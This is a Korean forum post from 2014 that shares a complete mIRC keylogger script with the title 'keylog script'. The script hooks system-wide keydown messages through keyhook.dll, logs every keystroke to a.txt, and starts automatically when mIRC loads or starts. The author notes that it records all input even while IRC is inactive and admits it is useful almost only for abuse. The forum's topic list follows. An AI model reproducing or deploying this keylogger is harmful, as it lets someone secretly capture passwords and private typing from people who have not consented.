7z
Login / Logout

키로그 스크립트

조회 수 165 추천 수 0 2014.12.06 14:43:37
on 1:SIGNAL:WM_SYSKEYDOWN: {
  if ( $1 == 164 && $2 == 32 ) { write -n a.txt <LAlt> }
  elseif ( $1 == 27 && $2 == 32 ) { write -n a.txt <Alt+ESC> }
  elseif ( $1 == 112 && $2 == 32 ) { write -n a.txt <Alt+F1> }
  elseif ( $1 == 113 && $2 == 32 ) { write -n a.txt <Alt+F2> }
  elseif ( $1 == 114 && $2 == 32 ) { write -n a.txt <Alt+F3> }
  elseif ( $1 == 115 && $2 == 32 ) { write -n a.txt <Alt+F4> }
  elseif ( $1 == 116 && $2 == 32 ) { write -n a.txt <Alt+F5> }
  elseif ( $1 == 117 && $2 == 32 ) { write -n a.txt <Alt+F6> }
  elseif ( $1 == 118 && $2 == 32 ) { write -n a.txt <Alt+F7> }
  elseif ( $1 == 119 && $2 == 32 ) { write -n a.txt <Alt+F8> }
  elseif ( $1 == 120 && $2 == 32 ) { write -n a.txt <Alt+F9> }
  elseif ( $1 == 121 && $2 == 32 ) { write -n a.txt <Alt+F10> }
  elseif ( $1 == 122 && $2 == 32 ) { write -n a.txt <Alt+F11> }
  elseif ( $1 == 123 && $2 == 32 ) { write -n a.txt <Alt+F12> }

  elseif ( $1 == 8 && $2 == 32 ) { write -n a.txt <Alt+Back> }
  elseif ( $1 == 13 && $2 == 32 ) { write -n a.txt <Alt+Enter> }
  elseif ( $1 == 32 && $2 == 32 ) { write -n a.txt <Alt+Space> }
  elseif ( $1 == 160 && $2 == 32 ) { write -n a.txt <Alt+Lshf> }
  elseif ( $1 == 161 && $2 == 32 ) { write -n a.txt <Alt+Rshf> }
  elseif ( $1 == 91 && $2 == 33 ) { write -n a.txt <Alt+Lwin> }
  elseif ( $1 == 9 && $2 == 32 ) { write -n a.txt <Alt+TAB> }
  elseif ( $1 == 241 && $2 == 32 ) { write -n a.txt <Alt+Caps> }
  elseif ( $1 == 49 && $2 == 32 ) { write -n a.txt <Alt+1> }
  elseif ( $1 == 50 && $2 == 32 ) { write -n a.txt <Alt+2> }
  elseif ( $1 == 51 && $2 == 32 ) { write -n a.txt <Alt+3> }
  elseif ( $1 == 52 && $2 == 32 ) { write -n a.txt <Alt+4> }
  elseif ( $1 == 53 && $2 == 32 ) { write -n a.txt <Alt+5> }
  elseif ( $1 == 54 && $2 == 32 ) { write -n a.txt <Alt+6> }
  elseif ( $1 == 55 && $2 == 32 ) { write -n a.txt <Alt+7> }
  elseif ( $1 == 56 && $2 == 32 ) { write -n a.txt <Alt+8> }
  elseif ( $1 == 57 && $2 == 32 ) { write -n a.txt <Alt+9> }
  elseif ( $1 == 48 && $2 == 32 ) { write -n a.txt <Alt+0> }
  elseif ( $1 == 189 && $2 == 32 ) { write -n a.txt - }
  elseif ( $1 == 187 && $2 == 32 ) { write -n a.txt = }
  elseif ( $1 == 220 && $2 == 32 ) { write -n a.txt \ }
  elseif ( $1 == 192 && $2 == 32 ) { write -n a.txt ` }
  elseif ( $1 == 96 && $2 == 32 ) { write -n a.txt 0 }
  elseif ( $1 == 97 && $2 == 32 ) { write -n a.txt 1 }
  elseif ( $1 == 98 && $2 == 32 ) { write -n a.txt 2 }
  elseif ( $1 == 99 && $2 == 32 ) { write -n a.txt 3 }
  elseif ( $1 == 100 && $2 == 32 ) { write -n a.txt 4 }
  elseif ( $1 == 101 && $2 == 32 ) { write -n a.txt 5 }
  elseif ( $1 == 102 && $2 == 32 ) { write -n a.txt 6 }
  elseif ( $1 == 103 && $2 == 32 ) { write -n a.txt 7 }
  elseif ( $1 == 104 && $2 == 32 ) { write -n a.txt 8 }
  elseif ( $1 == 105 && $2 == 32 ) { write -n a.txt 9 }
  elseif ( $1 == 13 && $2 == 33 ) { write -n a.txt <Renter> }
  elseif ( $1 == 110 && $2 == 32 ) { write -n a.txt . }
  elseif ( $1 == 107 && $2 == 32 ) { write -n a.txt + }
  elseif ( $1 == 144 && $2 == 33 ) { write -n a.txt <NL> }
  elseif ( $1 == 111 && $2 == 33 ) { write -n a.txt <DVN> }
  elseif ( $1 == 106 && $2 == 32 ) { write -n a.txt * }
  elseif ( $1 == 109 && $2 == 32 ) { write -n a.txt - }
  elseif ( $1 == 38 && $2 == 33 ) { write -n a.txt <Alt+↑> }
  elseif ( $1 == 40 && $2 == 33 ) { write -n a.txt <Alt+↓> }
  elseif ( $1 == 37 && $2 == 33 ) { write -n a.txt <Alt+←> }
  elseif ( $1 == 39 && $2 == 33 ) { write -n a.txt <Alt+→> }

  elseif ( $1 == 44 && $2 == 33 ) { write -n a.txt <SysRq> }
  elseif ( $1 == 145 && $2 == 32 ) { write -n a.txt <ScrLock> }
  elseif ( $1 == 19 && $2 == 32 ) { write -n a.txt <pause> }

  elseif ( $1 == 45 && $2 == 33 ) { write -n a.txt <insert> }
  elseif ( $1 == 46 && $2 == 33 ) { write -n a.txt <del> }
  elseif ( $1 == 36 && $2 == 33 ) { write -n a.txt <home> }
  elseif ( $1 == 35 && $2 == 33 ) { write -n a.txt <end> }
  elseif ( $1 == 33 && $2 == 33 ) { write -n a.txt <pgUP> }
  elseif ( $1 == 34 && $2 == 33 ) { write -n a.txt <pgDOWN> }

  elseif ( $1 == 92 && $2 == 33 ) { write -n a.txt <Rwin> }
  elseif ( $1 == 93 && $2 == 33 ) { write -n a.txt <menu> }
  elseif ( $1 == 25 && $2 == 33 ) { write -n a.txt <RAlt> }

  elseif ( $1 == 219 && $2 == 32 ) { write -n a.txt [ }
  elseif ( $1 == 221 && $2 == 32 ) { write -n a.txt ] }
  elseif ( $1 == 186 && $2 == 32 ) { write -n a.txt ; }
  elseif ( $1 == 222 && $2 == 32 ) { write -n a.txt ' }
  elseif ( $1 == 188 && $2 == 32 ) { write -n a.txt , }
  elseif ( $1 == 190 && $2 == 32 ) { write -n a.txt . }
  elseif ( $1 == 191 && $2 == 32 ) { write -n a.txt <slash> }

}

on 1:SIGNAL:WM_KEYDOWN: {
  if ( $1 == 27 && $2 == 0 ) { write -n a.txt <ESC> }
  elseif ( $1 == 112 && $2 == 0 ) { write -n a.txt <F1> }
  elseif ( $1 == 113 && $2 == 0 ) { write -n a.txt <F2> }
  elseif ( $1 == 114 && $2 == 0 ) { write -n a.txt <F3> }
  elseif ( $1 == 115 && $2 == 0 ) { write -n a.txt <F4> }
  elseif ( $1 == 116 && $2 == 0 ) { write -n a.txt <F5> }
  elseif ( $1 == 117 && $2 == 0 ) { write -n a.txt <F6> }
  elseif ( $1 == 118 && $2 == 0 ) { write -n a.txt <F7> }
  elseif ( $1 == 119 && $2 == 0 ) { write -n a.txt <F8> }
  elseif ( $1 == 120 && $2 == 0 ) { write -n a.txt <F9> }
  elseif ( $1 == 121 && $2 == 0 ) { write -n a.txt <F10> }
  elseif ( $1 == 122 && $2 == 0 ) { write -n a.txt <F11> }
  elseif ( $1 == 123 && $2 == 0 ) { write -n a.txt <F12> }
  elseif ( $1 == 162 && $2 == 0 ) { write -n a.txt <Lctrl> }
  elseif ( $1 == 8 && $2 == 0 ) { write -n a.txt <Back> }
  elseif ( $1 == 13 && $2 == 0 ) { write -n a.txt <Enter> }
  elseif ( $1 == 32 && $2 == 0 ) { write -n a.txt <Space> }
  elseif ( $1 == 160 && $2 == 0 ) { write -n a.txt <Lshf> }
  elseif ( $1 == 161 && $2 == 1 ) { write -n a.txt <Rshf> }
  elseif ( $1 == 91 && $2 == 1 ) { write -n a.txt <Lwin> }
  elseif ( $1 == 21 && $2 == 0 ) { write -n a.txt <KE-RC> }
  elseif ( $1 == 9 && $2 == 0 ) { write -n a.txt <TAB> }
  elseif ( $1 == 20 && $2 == 0 ) { write -n a.txt <Caps> }
  elseif ( $1 == 49 && $2 == 0 ) { write -n a.txt 1 }
  elseif ( $1 == 50 && $2 == 0 ) { write -n a.txt 2 }
  elseif ( $1 == 51 && $2 == 0 ) { write -n a.txt 3 }
  elseif ( $1 == 52 && $2 == 0 ) { write -n a.txt 4 }
  elseif ( $1 == 53 && $2 == 0 ) { write -n a.txt 5 }
  elseif ( $1 == 54 && $2 == 0 ) { write -n a.txt 6 }
  elseif ( $1 == 55 && $2 == 0 ) { write -n a.txt 7 }
  elseif ( $1 == 56 && $2 == 0 ) { write -n a.txt 8 }
  elseif ( $1 == 57 && $2 == 0 ) { write -n a.txt 9 }
  elseif ( $1 == 48 && $2 == 0 ) { write -n a.txt 0 }
  elseif ( $1 == 189 && $2 == 0 ) { write -n a.txt - }
  elseif ( $1 == 187 && $2 == 0 ) { write -n a.txt = }
  elseif ( $1 == 220 && $2 == 0 ) { write -n a.txt \ }
  elseif ( $1 == 192 && $2 == 0 ) { write -n a.txt ` }
  elseif ( $1 == 96 && $2 == 0 ) { write -n a.txt 0 }
  elseif ( $1 == 97 && $2 == 0 ) { write -n a.txt 1 }
  elseif ( $1 == 98 && $2 == 0 ) { write -n a.txt 2 }
  elseif ( $1 == 99 && $2 == 0 ) { write -n a.txt 3 }
  elseif ( $1 == 100 && $2 == 0 ) { write -n a.txt 4 }
  elseif ( $1 == 101 && $2 == 0 ) { write -n a.txt 5 }
  elseif ( $1 == 102 && $2 == 0 ) { write -n a.txt 6 }
  elseif ( $1 == 103 && $2 == 0 ) { write -n a.txt 7 }
  elseif ( $1 == 104 && $2 == 0 ) { write -n a.txt 8 }
  elseif ( $1 == 105 && $2 == 0 ) { write -n a.txt 9 }
  elseif ( $1 == 13 && $2 == 1 ) { write -n a.txt <Renter> }
  elseif ( $1 == 110 && $2 == 0 ) { write -n a.txt . }
  elseif ( $1 == 107 && $2 == 0 ) { write -n a.txt + }
  elseif ( $1 == 144 && $2 == 1 ) { write -n a.txt <NL> }
  elseif ( $1 == 111 && $2 == 1 ) { write -n a.txt <DVN> }
  elseif ( $1 == 106 && $2 == 0 ) { write -n a.txt * }
  elseif ( $1 == 109 && $2 == 0 ) { write -n a.txt - }
  elseif ( $1 == 38 && $2 == 1 ) { write -n a.txt ↑ }
  elseif ( $1 == 40 && $2 == 1 ) { write -n a.txt ↓ }
  elseif ( $1 == 37 && $2 == 1 ) { write -n a.txt ← }
  elseif ( $1 == 39 && $2 == 1 ) { write -n a.txt → }

  elseif ( $1 == 44 && $2 == 1 ) { write -n a.txt <SysRq> }
  elseif ( $1 == 145 && $2 == 0 ) { write -n a.txt <ScrLock> }
  elseif ( $1 == 19 && $2 == 0 ) { write -n a.txt <pause> }

  elseif ( $1 == 45 && $2 == 1 ) { write -n a.txt <insert> }
  elseif ( $1 == 46 && $2 == 1 ) { write -n a.txt <del> }
  elseif ( $1 == 36 && $2 == 1 ) { write -n a.txt <home> }
  elseif ( $1 == 35 && $2 == 1 ) { write -n a.txt <end> }
  elseif ( $1 == 33 && $2 == 1 ) { write -n a.txt <pgUP> }
  elseif ( $1 == 34 && $2 == 1 ) { write -n a.txt <pgDOWN> }

  elseif ( $1 == 92 && $2 == 1 ) { write -n a.txt <Rwin> }
  elseif ( $1 == 93 && $2 == 1 ) { write -n a.txt <menu> }
  elseif ( $1 == 25 && $2 == 1 ) { write -n a.txt <RAlt> }

  elseif ( $1 == 219 && $2 == 0 ) { write -n a.txt [ }
  elseif ( $1 == 221 && $2 == 0 ) { write -n a.txt ] }
  elseif ( $1 == 186 && $2 == 0 ) { write -n a.txt ; }
  elseif ( $1 == 222 && $2 == 0 ) { write -n a.txt ' }
  elseif ( $1 == 188 && $2 == 0 ) { write -n a.txt , }
  elseif ( $1 == 190 && $2 == 0 ) { write -n a.txt . }
  elseif ( $1 == 191 && $2 == 0 ) { write -n a.txt <slash> }
  ;  elseif ( $1 ==  ) { write -n a.txt  }
  else { write -n a.txt $chr($1) }

}



;on 1:SIGNAL:WM_KEYDOWN: { write -n a.txt $1 $+ - }



;on 1:SIGNAL:WM_KEYDOWN: { echo -a $signal -> KEY: $1 FLAGS: $2 }
;on 1:SIGNAL:WM_SYSKEYDOWN: { echo -a $signal -> KEY: $1 FLAGS: $2 }


; Extra Functions
; Do not edit (?)
alias LoadKeyHook { 
  if ($dll(keyhook.dll)) {
    echo $color(info) -at * /LoadKeyHook: KeyHook is already loaded.
  }
  else {
    dll keyhook.dll StartKeyHook
    if ($show) echo $color(info2) -at * KeyHook was successfully loaded.
  }
}
alias UnloadKeyHook {
  if (!$dll(keyhook.dll)) {
    echo $color(info) -at * /UnloadKeyHook: KeyHook is already unloaded.
  }
  else {
    dll -u keyhook.dll 
    if ($show) echo $color(info2) -at * KeyHook was successfully unloaded.
  }
}
on 1:LOAD:/LoadKeyHook
on 1:START:/.LoadKeyHook


큰놈

2014.12.06 14:48:22
*.8.72.178

irc폴더의 a.txt에 모든 키입력이 기록된다. (irc 비활성화 상태에서도 작동)


악용의 여지밖에 없는 스크립트지만 WM_KEYDOWN에서 어떤 키가 몇번인지 확인하는 정도의 용도로 활용하면 될 것.

List of Articles
번호 제목 글쓴이 날짜 조회 수
공지 큰놈채널 디스코드 서버 시범 운영 큰놈 2022-03-16 3216
297 [골탐피로도 활용-낙원석편] 칼리츠 2014-12-23 314
296 스투딕빈 아이콘 file 시신 2014-12-13 322
295 레지나 솔플 큰놈 2014-12-09 309
» 키로그 스크립트 [1] 큰놈 2014-12-06 165
293 mp3 file [1] 엘디르카 2014-12-05 177
292 찰트알람 스크립트 imagefile 큰놈 2014-12-05 372
291 영자박제용 imagefile 큰놈 2014-12-02 362
290 골든ㅡ타임! 놓치지않겠어! imagefile 비봉 2014-11-27 388
289 사이퍼즈 기본상식 엘디르카 2014-11-20 344
288 NED AMOYR 2~1 (지까일01) 시신 2014-11-08 317
287 생급하 (지까일7) 시신 2014-11-06 357
286 bg41 (95~1) 국삼신 (지까일7) 시신 2014-11-03 310
285 비봉대출장부 비봉 2014-10-27 322
284 중세 생존게임 life is feudal 칼리츠 2014-10-21 328
283 굶지마(돈스타브) 생존게임 칼리츠 2014-10-21 313
282 무희 큰놈 2014-10-15 318
281 [사령전] 아무데서나 원하는 임무로 출항하는 방법 큰놈 2014-10-15 325
280 프리즌 아키택트24c 알파 한글판 칼리츠 2014-10-13 361
279 째칼솔플 큰놈 2014-10-12 186
278 IRC-스샷스크립트 file 칼리츠 2014-10-11 531

Copyright2015 Zircon7. All rights reseved.